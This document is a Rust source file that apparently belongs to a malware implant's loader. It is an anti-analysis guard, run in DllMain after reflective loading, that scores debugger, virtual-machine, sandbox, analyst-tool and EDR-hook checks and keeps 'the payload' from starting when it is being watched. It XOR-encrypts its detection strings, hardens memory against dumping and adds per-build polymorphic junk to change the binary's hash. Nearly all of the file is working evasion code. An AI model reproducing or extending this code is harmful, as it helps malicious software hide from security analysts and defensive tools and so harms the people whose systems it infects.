Files

656 lines
23 KiB
Rust
Raw Permalink Normal View History

2026-08-27 11:23:01 -06:00
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
//!
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
//! relocated the image, so normal `std` is available). If the environment looks
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
//! — the guard reports `false` and the payload refuses to start its worker.
//!
//! All detection strings are XOR-encrypted at compile time and only materialized
//! on the stack at the moment of the check, so traces of what the guard is
//! looking for do not sit in `.rodata` as plaintext.
//!
//! The guard is deliberately *defensive*: each check is independent and a few
//! false positives are tolerated (a score system, not a single hard kill), so a
//! real user on a clean machine still runs, while analysis environments that
//! trip many signals are dropped.
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::antihook;
use crate::antisbx;
use crate::antivm;
use crate::apires;
use crate::dynapi;
use crate::flow;
use crate::gen;
use crate::obf;
use crate::sleep;
use crate::syscall;
// ---------------------------------------------------------------------------
// Encrypted string helpers
// ---------------------------------------------------------------------------
/// ASCII-lowercase a byte slice.
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
/// Case-insensitive substring match on bytes.
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
// ---------------------------------------------------------------------------
// Anti-debug
// ---------------------------------------------------------------------------
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
#[inline]
unsafe fn peb_being_debugged() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let being = ptr::read_volatile((peb + 0x02) as *const u8);
being != 0
}
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
/// remain set for the process lifetime (heap flags: 0x70).
#[inline]
unsafe fn peb_nt_global_flag() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
flags & HEAP_FLAGS == HEAP_FLAGS
}
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
/// import). Returns true if a debugger is listening on the debug port.
unsafe fn nt_debug_port() -> bool {
apires::dyn_query_debug_port()
}
/// Check the debug heap on the current process handle (kernel32, resolved at
/// runtime so it doesn't appear in the import table).
unsafe fn remote_debugger_present() -> bool {
apires::dyn_check_remote_debugger()
}
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
/// under a breakpoint dramatically inflates the delta.
#[inline]
unsafe fn rdtsc() -> u64 {
let mut lo: u32;
let mut hi: u32;
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
((hi as u64) << 32) | lo as u64
}
unsafe fn timing_sane() -> bool {
let a = rdtsc();
let mut sink: u64 = 0;
for i in 0..2000u64 {
sink ^= i.wrapping_mul(0x9E37_79B9);
}
let b = rdtsc();
let _ = sink;
// Single-stepping / breakpoints insert far more cycles than a real loop.
b.wrapping_sub(a) < 500_000
}
// ---------------------------------------------------------------------------
// Anti-VM
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemStatusEx {
dw_length: u32,
dw_memory_load: u32,
ull_total_phys: u64,
ull_avail_phys: u64,
ull_total_page_file: u64,
ull_avail_page_file: u64,
ull_total_virtual: u64,
ull_avail_virtual: u64,
ull_avail_extended_virtual: u64,
}
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
unsafe fn cpu_hypervisor() -> bool {
#[inline]
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
let mut a = leaf;
let mut c = sub;
let mut d = 0u32;
let mut b = 0u32;
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
// into a general-purpose register operand.
asm!(
"push rbx",
"cpuid",
"mov {tmp:e}, ebx",
"pop rbx",
inout("eax") a,
inout("ecx") c,
out("edx") d,
tmp = lateout(reg) b,
options(nostack, preserves_flags),
);
(a, b, c, d)
}
// Hypervisor present?
let (_, _, ecx, _) = cpuid(1, 0);
if ecx & (1 << 31) == 0 {
return false;
}
// Vendor string (12 bytes in EBX:EDX:ECX).
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
let mut v = Vec::with_capacity(12);
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
v.push(*b);
}
let vl = lower(&v);
let key: u8 = gen::K_VENDOR;
let bad: [(obf::Slot, u32); 7] = [
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
];
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&vl, &plain[..LENS[i]])
})
}
/// SMBIOS firmware string table search.
unsafe fn smbios_firmware() -> bool {
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
if size == 0 || size > 4 * 1024 * 1024 {
return false;
}
let mut buf = vec![0u8; size as usize];
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
if got == 0 {
return false;
}
buf.truncate(got as usize);
let bl = lower(&buf);
let key: u8 = gen::K_SMBIOS;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
];
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
bad.iter().enumerate().any(|(i, s)| {
let plain = obf::dec_sig(key, s, LENS[i]);
contains(&bl, &plain[..LENS[i]])
})
}
/// Ask the OS for key system facts and probe for VM-typical characteristics.
unsafe fn gather_system_quirks() -> bool {
// Low total RAM (< 2GB) is common in thin sandboxes.
let mut ms = MemStatusEx {
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
dw_memory_load: 0,
ull_total_phys: 0,
ull_avail_phys: 0,
ull_total_page_file: 0,
ull_avail_page_file: 0,
ull_total_virtual: 0,
ull_avail_virtual: 0,
ull_avail_extended_virtual: 0,
};
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
return true;
}
}
// A single-core / single-thread CPU is a common VM giveaway.
#[repr(C)]
#[derive(Clone, Copy)]
struct SysInfo {
processor_arch: u16,
page_size: u32,
min_app_addr: usize,
max_app_addr: usize,
active_processor_mask: usize,
num_processors: u32,
processor_type: u32,
alloc_granularity: u32,
processor_level: u16,
processor_revision: u16,
}
let mut si: SysInfo = unsafe { std::mem::zeroed() };
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
if si.num_processors <= 1 {
return true;
}
false
}
// ---------------------------------------------------------------------------
// Anti-analyze / sandbox
// ---------------------------------------------------------------------------
unsafe fn process_scan() -> bool {
const TH32CS_SNAPPROCESS: u32 = 0x2;
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct PROCESSENTRY32W {
dw_size: u32,
cnt_usage: u32,
th32_process_id: u32,
th32_default_heap_id: usize,
th32_module_id: u32,
cnt_threads: u32,
th32_parent_process_id: u32,
pc_pri_class_base: i32,
dw_flags: u32,
sz_exe_file: [u16; 260],
}
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
let key: u8 = gen::K_TOKEN;
let tools: [(obf::Slot, u32); 10] = [
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
];
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
let mut found = false;
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
loop {
let mut name = Vec::with_capacity(520);
for ch in entry.sz_exe_file.iter() {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (i, s) in tools.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&nl, &plain[..LENS[i]]) {
found = true;
break;
}
}
if found {
break;
}
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
break;
}
}
}
abi::CloseHandle(snap);
found
}
/// Probe the running environment for analyst/sandbox environment variables.
/// A handful of well-known sandbox marker variables are checked; if any non-empty
/// value is set the environment is treated as suspicious.
unsafe fn env_probe() -> bool {
let key: u8 = gen::K_ENV;
let mut out = [0u16; 512];
// Names are XOR-encrypted so they don't sit in plaintext.
let names: [(obf::Slot, u32); 4] = [
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
];
const LENS: [usize; 4] = [4, 13, 8, 10];
for (i, s) in names.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
nm.push(0);
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
if got > 0 && got < 512 {
return true;
}
}
false
}
// ---------------------------------------------------------------------------
// Anti-dump / memory hardening
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemoryBasicInfo {
base_address: *mut c_void,
allocation_base: *mut c_void,
allocation_protect: u32,
region_size: usize,
state: u32,
protect: u32,
_type: u32,
}
const MEM_COMMIT: u32 = 0x1000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const PAGE_EXECUTE_WRITECOPY: u32 = 0x80;
/// Detect a call stack that originates from a suspicious module (a dumper / EDR
/// hooking common APIs often leaves its DLL on the stack). Heuristic: count how
/// many distinct allocation regions are RWX — a process holding many RWX regions
/// is either self-modifying or under an active memory scanner.
unsafe fn suspicious_memory_maps() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut rwx: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
rwx += 1;
}
}
// Advance to next region; a zero-size region means stop.
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
// A healthy process rarely exceeds this; a debugger/dumper allocating scratch
// RWX regions will. Keep the threshold high to avoid false positives.
rwx >= 6
}
/// Sweep committed pages and downgrade any writable+executable regions to
/// EXECUTE_READ, so a bulk memory dumper (which snapshots RWX areas) cannot
/// trivially read back a hot section. Uses the runtime-resolved VirtualProtect
/// (hash walk) so the guard doesn't import it statically.
unsafe fn harden_image() -> bool {
let mut info: MemoryBasicInfo = std::mem::zeroed();
let mut addr: usize = 0;
let mut anomaly = false;
let mut down: u32 = 0;
while addr < usize::MAX - 16 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
std::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if info.state == MEM_COMMIT {
let prot = info.protect & 0xFF;
if prot == PAGE_EXECUTE_READWRITE || prot == PAGE_EXECUTE_WRITECOPY {
anomaly = true;
if apires::dyn_downgrade_rwx(info.base_address, info.region_size) {
down += 1;
}
}
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
let _ = down;
anomaly
}
/// Block the process from being dumped by a debugger using a debug-flag lock.
/// Uses the *runtime resolved* NtQueryInformationProcess (hash walk), not the
/// static import, so the guard doesn't declare this API in its PE imports.
unsafe fn prevent_dump() -> bool {
// ProcessDebugFlags (info class 0x1f) — flags == 0 means the process is
// being debugged at the kernel level.
match apires::dyn_query_debug_flags() {
Some(flags) => flags == 0,
None => false,
}
}
/// Check whether ntdll syscall stubs have been hot-patched by an EDR/sandbox.
unsafe fn hooks_detected() -> bool {
antihook::detect_hooks()
}
/// Detect a virtual/OEM display by sampling the primary monitor's refresh rate.
/// Virtual display drivers (RDP, headless VMs, remote desktops) commonly report
/// a refresh rate far below a physical panel. If the refresh rate is at or below
/// the supplied ceiling, the environment is treated as virtual.
///
/// `dmDisplayFrequency` lives at a fixed offset in DEVMODEW (176 on x64) — we
/// allocate a wide buffer and read that offset directly, avoiding the layout
/// pitfalls of the huge union in the real struct.
unsafe fn low_refresh_display(ceiling_hz: u32) -> bool {
let mut dm = [0u8; 240];
let ok = dynapi::EnumDisplaySettingsW(
ptr::null(),
abi::ENUM_CURRENT_SETTINGS,
dm.as_mut_ptr() as *mut c_void,
);
if ok == 0 {
return false;
}
// DEVMODEW.dmDisplayFrequency offset (x64): 176. dmSize / dmDriverExtra at
// +68/+70 tell us how big the returned structure is; only trust the field if
// the driver confirmed at least that far.
let dm_size = *(dm.as_ptr().add(68) as *const u16) as usize;
if dm_size < 176 {
return false;
}
let freq = *(dm.as_ptr().add(176) as *const u32);
freq != 0 && freq <= ceiling_hz
}
/// Scan attached display devices for a known virtual driver name (RDP / generic
/// Microsoft basic display). Encrypted signature so it isn't plaintext.
unsafe fn virtual_display_driver() -> bool {
// A fixed-size probe device record: we only need the DeviceString up to the
// first NUL, offset 0 in DISPLAY_DEVICEW (DeviceName at +0, DeviceString at
// +32). Read via a raw buffer.
let scan: [(obf::Slot, u32); 5] = [
obf::sig(gen::K_DISPLAY, 0x5001, b"remote display"), obf::sig(gen::K_DISPLAY, 0x5002, b"rdp"),
obf::sig(gen::K_DISPLAY, 0x5003, b"basic display"), obf::sig(gen::K_DISPLAY, 0x5004, b"remote"),
obf::sig(gen::K_DISPLAY, 0x5005, b"virtual display"),
];
const LENS: [usize; 5] = [14, 3, 13, 6, 15];
let mut i = 0u32;
while i < 8 {
let mut buf = [0u16; 256]; // DEVICEW fields, we only read DeviceString at +32
let ok = dynapi::EnumDisplayDevicesW(ptr::null(), i, buf.as_mut_ptr() as *mut _ as *mut c_void, 0);
if ok == 0 {
break;
}
let mut name: Vec<u8> = Vec::with_capacity(256);
for ch in buf.iter().skip(32).take(120) {
if *ch == 0 {
break;
}
name.push(*ch as u8);
}
let nl = lower(&name);
for (idx, s) in scan.iter().enumerate() {
let plain = obf::dec_sig(gen::K_DISPLAY, s, LENS[idx]);
if contains(&nl, &plain[..LENS[idx]]) {
return true;
}
}
i += 1;
}
false
}
// ---------------------------------------------------------------------------
// Score + decision
// ---------------------------------------------------------------------------
/// Run the full battery. `true` = environment looks hostile → do not start the
/// payload. Score thresholds keep false positives low on clean hosts.
pub fn run() -> bool {
// Initialize syscall numbers and sleep encryption early
unsafe {
syscall::init_syscall_numbers();
sleep::init_sleep_key();
}
let mut score: u32 = 0;
let seed = flow::run_time_nonce();
// Per-build polymorphic junk injected into the entry path so the emitted
// bytes (and thus the artifact hash) differ on every build.
flow::junk();
flow::opaque_choice(seed, || { let _ = flow::branch_tag(); }, || { let _ = seed; });
// Windows-only signchecks; everything here is x64 Windows.
unsafe {
// --- anti-debug (wrapped in an opaque dispatch so a static analyzer
// can't cleanly pick a side; both arms are cheap) ---
flow::opaque_choice(seed, || {
// --- anti-debug ---
if peb_being_debugged() {
score += 3;
}
if peb_nt_global_flag() {
score += 3;
}
if nt_debug_port() {
score += 3;
}
if remote_debugger_present() {
score += 2;
}
if !timing_sane() {
score += 2;
}
}, || {});
// --- anti-VM (comprehensive, 16 vectors) ---
// The antivm module aggregates: CPUID bit + vendor, CPU brand string,
// VMware backdoor port, SIDT/SLDT red pills, SMBIOS strings, registry
// artifacts, filesystem artifacts, MAC OUI prefixes, uptime anomaly,
// process count, user-input absence, VM DLLs, tool windows, disk
// labels. It returns a cumulative score; map it onto ours with weight.
let avm = antivm::score();
if avm >= 6 {
score += 5; // overwhelming evidence of virtualization
} else if avm >= 3 {
score += 3; // strong signals
} else if avm >= 1 {
score += 1; // weak/noisy signals only
}
// Legacy direct checks kept as independent confirmation:
if cpu_hypervisor() {
score += 2;
}
if smbios_firmware() {
score += 1;
}
if gather_system_quirks() {
score += 2;
}
// --- anti-analyze / sandbox (reliability-focused, corroborated) ---
// The antisbx module uses a tiered model:
// hard: Sleep acceleration / timer tampering — conclusive alone
// strong: identity markers, empty desktop — rare on real machines
// weak: quiet mouse, few windows — only counted with corroboration
let sbx = antisbx::verdict(6, 250);
if sbx.hard {
score += 6; // physically impossible on a clean host
}
if sbx.score >= 6 {
score += 4; // multiple corroborated strong signals
} else if sbx.score >= 3 {
score += 2;
} else if sbx.score >= 1 {
score += 1;
}
// --- legacy direct checks ---
if process_scan() {
score += 3;
}
if env_probe() {
score += 2;
}
// --- anti-dump / memory hardening ---
if suspicious_memory_maps() {
score += 3;
}
let _ = harden_image(); // runs regardless; only scores via maps above
if prevent_dump() {
score += 3;
}
// --- anti-hook (EDR / sandbox hot-patch detection) ---
if hooks_detected() {
score += 3;
}
// --- anti-VM via display refresh signature ---
// 45 Hz and below: virtual/remote display drivers report this; a physical
// panel is almost never ≤ 45 Hz. Also scan for known virtual driver names.
if low_refresh_display(45) {
score += 3;
}
if virtual_display_driver() {
score += 2;
}
}
// Threshold: a handful of independent signals means it's an analysis box.
score >= 4
}
/// Second-opinion sandbox check intended to be called by the worker thread
/// after its first sleep cycle. Sandbox artifacts (accelerated sleeps,
/// absent user input) become more pronounced over time; transient noise
/// fades. Returns `true` if the environment now looks like a sandbox —
/// the caller should then wind down / exit.
pub fn recheck_sandbox() -> bool {
flow::junk();
let v = antisbx::verify_second_pass();
v.hard || v.score >= 3
}